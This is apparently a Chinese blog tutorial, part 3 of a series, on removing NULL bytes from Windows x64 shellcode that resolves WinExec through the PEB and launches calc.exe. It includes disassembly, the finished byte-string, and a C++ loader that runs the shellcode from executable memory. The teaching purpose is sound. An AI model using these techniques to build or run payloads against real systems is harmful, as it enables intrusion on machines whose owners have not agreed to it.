Windows x64 ShellCode入门教程 03

# Windows x64 ShellCode入门教程 03

现在终于到了我们清理代码并移除代码中NULL字节的时刻了。通过这种方式,我们就能在缓冲区溢出等场景中可靠地使用shellcode了。让我们开始吧!

我们将从包含NULL字节的代码开始。我会从本系列第一部分中使用的代码的底部开始,逐步向上分析。如果您需要随时参考该代码,在浏览器中打开一个单独的标签页可能会很有帮助。

00000000000000a5 <executeit>:
  a5:   41 5f                   pop    %r15
  a7:   b8 00 00 00 00          mov    $0x0,%eax
  ac:   50                      push   %rax
  ad:   48 b8 63 61 6c 63 2e    movabs $0x6578652e636c6163,%rax
  b4:   65 78 65
  b7:   50                      push   %rax
  b8:   48 89 e1                mov    %rsp,%rcx
  bb:   ba 01 00 00 00          mov    $0x1,%edx
  c0:   48 83 ec 30             sub    $0x30,%rsp
  c4:   41 ff d7                call   *%r15
1
2
3
4
5
6
7
8
9
10
11

首次出现NULL字节的代码位于这一行:

b8 00 00 00 00          mov    $0x0,%eax
1

这里引入NULL字节的原因是由于使用了mov指令来移动NULL字节用于终止字符串,目的是将寄存器eax清零,我们将用**异或(XOR)**指令替换这条MOV指令:

xor rax, rax
push rax
1
2

现在运行objdump并查看结果。已经没有零了:

48 31 c0                xor    %rax,%rax
50                      push   %rax
1
2

好的,接下来是下一个有问题的地方,这一行:

ba 01 00 00 00          mov    $0x1,%edx
1

我相信你已经弄明白了😸 我们只需要再把mov替换成xor就行了:

xor rdx, rdx
inc rdx
1
2

现在让我们再次查看objdump的输出,也没有零了。

48 31 d2                xor    %rdx,%rdx
48 ff c2                inc    %rdx
1
2

接下来是另外两个。它们来自**OrdinalLookupOrdinalLookupSetup**。直接把这些行完全删掉就行。这些跳转是不必要的,我当初写这样的代码主要是用它们来帮助调试代码。好了,这很简单吧?

78 00                   js     7b <OrdinalLookup>
78 00                   js     a5 <executeit>
1
2

好了,我们就快完成了!我们现在处于代码顶部的**main**函数中。你只需删除这一行:

eb 00                   jmp    59 <kernel32findfunction>
1

接下来的这两个对我来说是最难解决的。我们需要保留字符串终止符,但又不想处理NULL字节。

; movabs一个典型用途是加载一个绝对的 64 位内存地址到寄存器中
48 b8 57 69 6e 45 78    movabs $0x636578456e6957,%rax
65 63 00
1
2
3

我们将使用一个巧妙的按位左移和右移技巧,在已存入内存的字符串后“实际”添加一个零。具体操作如下,我们会用nop作为占位符,替代通常会出现00的位置:

mov rax, 0x90636578456E6957           ;WinExec地址
shl rax, 0x8                          ;636578456E695700 <--注意这里的90如何变成00
shr rax, 0x8                          ;00636578456E6957 <-- 现在nop指令已经被0代替了,但是这个0值并不会出现在我们最终的机器码(shellcode)中
1
2
3

现在让我们查看objdump的输出。发现已经没有NULL值了!

48 c1 e0 08             shl    $0x8,%rax
48 c1 e8 08             shr    $0x8,%rax
50                      push   %rax
1
2
3

当我们push rax时,会看到熟悉的WinExec字符串,并且可以在shellcode中不包含NULL值的情况下满足保留它的需求。

Windows x64 ShellCode入门教程 03(配图)

现在就剩最后一个空值了!

8b 93 88 00 00 00       mov    0x88(%rbx),%edx
1

基本上,我们只需要将**[rbx+0x88]的十六进制值移到rdx**中。然而,我们并不能完全按照你预期的方式来做,这种“简单”的方法会产生空值。相反,我们需要这样做:

xor rcx, rcx                  ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
add cx, 0x88ff                ; add to lower portion of register
shr rcx, 0x8                  ; shift right, which will remove the FF placeholder and leave the value we want: RCX = 0x88ff --> 0x88
mov edx, [rbx+rcx]            ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
1
2
3
4

现在所有的空值都已被移除!我们现在可以获取新生成的shellcode(不含空值),并在缓冲区溢出中使用,无需担心任何与空值相关的问题。以下是我这边的objdump输出结果:

winexec_nonulls.obj:     file format pe-x86-64

Disassembly of section .text:

0000000000000000 <main>:
   0:   48 83 ec 28             sub    $0x28,%rsp
   4:   48 83 e4 f0             and    $0xfffffffffffffff0,%rsp
   8:   48 31 c9                xor    %rcx,%rcx
   b:   65 48 8b 41 60          mov    %gs:0x60(%rcx),%rax
  10:   48 8b 40 18             mov    0x18(%rax),%rax
  14:   48 8b 70 10             mov    0x10(%rax),%rsi
  18:   48 8b 36                mov    (%rsi),%rsi
  1b:   48 8b 36                mov    (%rsi),%rsi
  1e:   48 8b 5e 30             mov    0x30(%rsi),%rbx
  22:   49 89 d8                mov    %rbx,%r8
  25:   8b 5b 3c                mov    0x3c(%rbx),%ebx
  28:   4c 01 c3                add    %r8,%rbx
  2b:   48 31 c9                xor    %rcx,%rcx
  2e:   66 81 c1 ff 88          add    $0x88ff,%cx
  33:   48 c1 e9 08             shr    $0x8,%rcx
  37:   8b 14 0b                mov    (%rbx,%rcx,1),%edx
  3a:   4c 01 c2                add    %r8,%rdx
  3d:   44 8b 52 14             mov    0x14(%rdx),%r10d
  41:   4d 31 db                xor    %r11,%r11
  44:   44 8b 5a 20             mov    0x20(%rdx),%r11d
  48:   4d 01 c3                add    %r8,%r11
  4b:   4c 89 d1                mov    %r10,%rcx
  4e:   48 b8 57 69 6e 45 78    movabs $0x90636578456e6957,%rax
  55:   65 63 90
  58:   48 c1 e0 08             shl    $0x8,%rax
  5c:   48 c1 e8 08             shr    $0x8,%rax
  60:   50                      push   %rax
  61:   48 89 e0                mov    %rsp,%rax
  64:   48 83 c4 08             add    $0x8,%rsp

0000000000000068 <kernel32findfunction>:
  68:   67 e3 17                jecxz  82 <FunctionNameNotFound>
  6b:   31 db                   xor    %ebx,%ebx
  6d:   41 8b 5c 8b 04          mov    0x4(%r11,%rcx,4),%ebx
  72:   4c 01 c3                add    %r8,%rbx
  75:   48 ff c9                dec    %rcx
  78:   4c 8b 08                mov    (%rax),%r9
  7b:   4c 39 0b                cmp    %r9,(%rbx)
  7e:   74 03                   je     83 <FunctionNameFound>
  80:   75 e6                   jne    68 <kernel32findfunction>

0000000000000082 <FunctionNameNotFound>:
  82:   cc                      int3

0000000000000083 <FunctionNameFound>:
  83:   51                      push   %rcx
  84:   41 5f                   pop    %r15
  86:   4c 89 f9                mov    %r15,%rcx
  89:   4d 31 db                xor    %r11,%r11
  8c:   44 8b 5a 24             mov    0x24(%rdx),%r11d
  90:   4d 01 c3                add    %r8,%r11
  93:   48 ff c1                inc    %rcx
  96:   66 45 8b 2c 4b          mov    (%r11,%rcx,2),%r13w
  9b:   4d 31 db                xor    %r11,%r11
  9e:   44 8b 5a 1c             mov    0x1c(%rdx),%r11d
  a2:   4d 01 c3                add    %r8,%r11
  a5:   43 8b 44 ab 04          mov    0x4(%r11,%r13,4),%eax
  aa:   4c 01 c0                add    %r8,%rax
  ad:   50                      push   %rax
  ae:   41 5f                   pop    %r15
  b0:   48 31 c0                xor    %rax,%rax
  b3:   50                      push   %rax
  b4:   48 b8 63 61 6c 63 2e    movabs $0x6578652e636c6163,%rax
  bb:   65 78 65
  be:   50                      push   %rax
  bf:   48 89 e1                mov    %rsp,%rcx
  c2:   48 31 d2                xor    %rdx,%rdx
  c5:   48 ff c2                inc    %rdx
  c8:   48 83 ec 30             sub    $0x30,%rsp
  cc:   41 ff d7                call   *%r15
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

现在让我们转换为shellcode。这次我会使用Linux,并使用以下命令:

nasm -fwin64 winexec_nonulls.asm -o winexec_nonulls.o

for i in $(objdump -D winexec_nonulls.o | grep “^ “ | cut -f2); do echo -n “\x$i” ; done
1
2
3

这是我得到的结果:

"\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41\x60\x48\x8b"
"\x40\x18\x48\x8b\x70\x10\x48\x8b\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89"
"\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9"
"\x08\x8b\x14\x0b\x4c\x01\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20"
"\x4d\x01\xc3\x4c\x89\xd1\x48\xb8\x57\x69\x6e\x45\x78\x65\x63\x90\x48\xc1"
"\xe0\x08\x48\xc1\xe8\x08\x50\x48\x89\xe0\x48\x83\xc4\x08\x67\xe3\x17\x31"
"\xdb\x41\x8b\x5c\x8b\x04\x4c\x01\xc3\x48\xff\xc9\x4c\x8b\x08\x4c\x39\x0b"
"\x74\x03\x75\xe6\xcc\x51\x41\x5f\x4c\x89\xf9\x4d\x31\xdb\x44\x8b\x5a\x24"
"\x4d\x01\xc3\x48\xff\xc1\x66\x45\x8b\x2c\x4b\x4d\x31\xdb\x44\x8b\x5a\x1c"
"\x4d\x01\xc3\x43\x8b\x44\xab\x04\x4c\x01\xc0\x50\x41\x5f\x48\x31\xc0\x50"
"\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48\x89\xe1\x48\x31\xd2\x48"
"\xff\xc2\x48\x83\xec\x30\x41\xff\xd7";
1
2
3
4
5
6
7
8
9
10
11
12

让我们在一些实际代码中尝试使用它,以确保它能按预期工作。

#include <windows.h>
#include <iostream>

// Shellcode (as given, formatted for clarity)
unsigned char shellcode[] =
"\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41\x60\x48\x8b"
"\x40\x18\x48\x8b\x70\x10\x48\x8b\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89"
"\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9"
"\x08\x8b\x14\x0b\x4c\x01\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20"
"\x4d\x01\xc3\x4c\x89\xd1\x48\xb8\x57\x69\x6e\x45\x78\x65\x63\x90\x48\xc1"
"\xe0\x08\x48\xc1\xe8\x08\x50\x48\x89\xe0\x48\x83\xc4\x08\x67\xe3\x17\x31"
"\xdb\x41\x8b\x5c\x8b\x04\x4c\x01\xc3\x48\xff\xc9\x4c\x8b\x08\x4c\x39\x0b"
"\x74\x03\x75\xe6\xcc\x51\x41\x5f\x4c\x89\xf9\x4d\x31\xdb\x44\x8b\x5a\x24"
"\x4d\x01\xc3\x48\xff\xc1\x66\x45\x8b\x2c\x4b\x4d\x31\xdb\x44\x8b\x5a\x1c"
"\x4d\x01\xc3\x43\x8b\x44\xab\x04\x4c\x01\xc0\x50\x41\x5f\x48\x31\xc0\x50"
"\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48\x89\xe1\x48\x31\xd2\x48"
"\xff\xc2\x48\x83\xec\x30\x41\xff\xd7";

int main() {
    void* exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (exec_mem == nullptr) {
        std::cerr << "Memory allocation failed\n";
        return -1;
    }

    memcpy(exec_mem, shellcode, sizeof(shellcode));
    auto shellcode_func = reinterpret_cast<void(*)()>(exec_mem);
    shellcode_func();
    VirtualFree(exec_mem, 0, MEM_RELEASE);

    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

Windows x64 ShellCode入门教程 03(配图)

就是这样!无NULL字节的shellcode成功了😄 到目前为止,我在这个系列中玩得很开心,还有更多令人兴奋的内容即将到来。我仍然需要按承诺在某个时候完成动态消息框。一切都会在适当的时候进行。下次见!

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>